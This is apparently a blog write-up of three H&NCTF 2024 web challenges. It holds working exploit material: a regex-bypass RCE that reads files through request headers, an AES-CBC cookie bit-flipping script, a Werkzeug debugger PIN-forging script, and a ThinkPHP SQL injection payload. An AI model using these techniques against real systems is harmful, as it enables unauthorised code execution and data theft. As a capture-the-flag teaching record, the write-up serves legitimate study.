H&NCTF 2024 web(部分题目)

Please_RCE_Me 

 <?php
if($_GET['moran'] === 'flag'){
    highlight_file(__FILE__);
    if(isset($_POST['task'])&&isset($_POST['flag'])){
        $str1 = $_POST['task'];
        $str2 = $_POST['flag'];
        if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
            die('hacker!');
        }else{
            preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
        }
    }
}else{
    echo "moran want a flag.</br>(?moran=flag)";
} 

以上为题目源代码
str2在正则时没有区分大小写,直接改个大写字母就饶过了
利用函数var_dump(scandir(chr(47)));读取根目录

可以看出flag文件名字

str1可以使用函数readfile函数读取文件,利用getallheaders()以及利用end()函数将指针指向http请求最后一个字段,然后自己构造一个字段进行读取,例如 rxuxin:/flag

 通过这种方式就可以解出

flipPin

进入题目后,根据提示去看 /hint 页面,可以看出来源码

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
        return res
    except Exception as e:
        print(e)

app = Flask(__name__)

filename_blacklist = {
    'self',
    'cgroup',
    'mountinfo',
    'env',
    'flag'
}

@app.route("/")
def index():
    session = request.cookies.get('session')
    if session is None:
        res = Response(
            "welcome to the FlipPIN server try request /hint to get the hint")
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    else:
        return 'have a fun'

@app.route("/hint")
def hint():
    res = Response(open(__file__).read(), mimetype='text/plain')
    return res


@app.route("/read")
def file():

    session = request.cookies.get('session')
    if session is None:
        res = Response("you are not logged in")
        res.set_cookie('session', encrypt(default_session))
        return res
    else:
        plain_session = decrypt(session)
        if plain_session is None:
            return 'don\'t hack me'

        session_data = json.loads(plain_session)

        if session_data['admin'] :
            filename = request.args.get('filename')

            if any(blacklist_str in filename for blacklist_str in filename_blacklist):
                abort(403, description='Access to this file is forbidden.')

            try:
                with open(filename, 'r') as f:
                    return f.read()
            except FileNotFoundError:
                abort(404, description='File not found.')
            except Exception as e:
                abort(500, description=f'An error occurred: {str(e)}')
        else:
            return 'You are not an administrator'






if __name__ == "__main__":
    app.run(host="0.0.0.0", port=9091, debug=True)

 

然后一审计发现是AES-CBC字节反转攻击,然后附上脚本

import requests
from base64 import b64decode, b64encode

url = "http://hnctf.imxbt.cn:42281/"
default_session = '{"admin": 0, "username": "user1"}'
res = requests.get(url)
c = bytearray(b64decode(res.cookies["session"]))
c[default_session.index("0")] ^= 1
evil = b64encode(c).decode()

res = requests.get(url+f"read?filename=/proc/sys/kernel/random/boot_id", cookies={"session": evil})
print(res.text)

利用此脚本读取pin值构造条件(构造pin值的脚本如下,其中构造条件用注释写出)

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'ctfUser'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/lib/python3.9/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '116898694213790',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由两个合并(docker就后两个):1./proc/sys/kernel/random/boot_id      2./proc/self/cgroup 由于cgroup和mountinfo被禁用,则用/proc/1/cpuset代替读取
    'd8c226fb-ceb1-4366-ad71-e8e995dc3065'+'2443c9a113a97939c2c4621d875e1fb540a17c79232c91439645ce3942ff6f3d'#  /proc/sys/kernel/random/boot_id + /proc/1/cpuset
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

计算出pin值后,在/console路由输入pin值,利用以下命令读取环境变量
>>>import os
>>>os.environ
就可以看到flag了

 ez_tp

emmmm这个题很难评,由于我下载附件比较早,可以根据日志文件直接梭哈
\ez_tp\App\Runtime\Logs\Home\ 在此目录下打开 24_04_17.log文件,然后直接输入框选的payload,就可以直接得出flag


home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

 

 



 

posted @ 2024-05-13 22:02  Rxuxin  阅读(318)  评论(0编辑  收藏  举报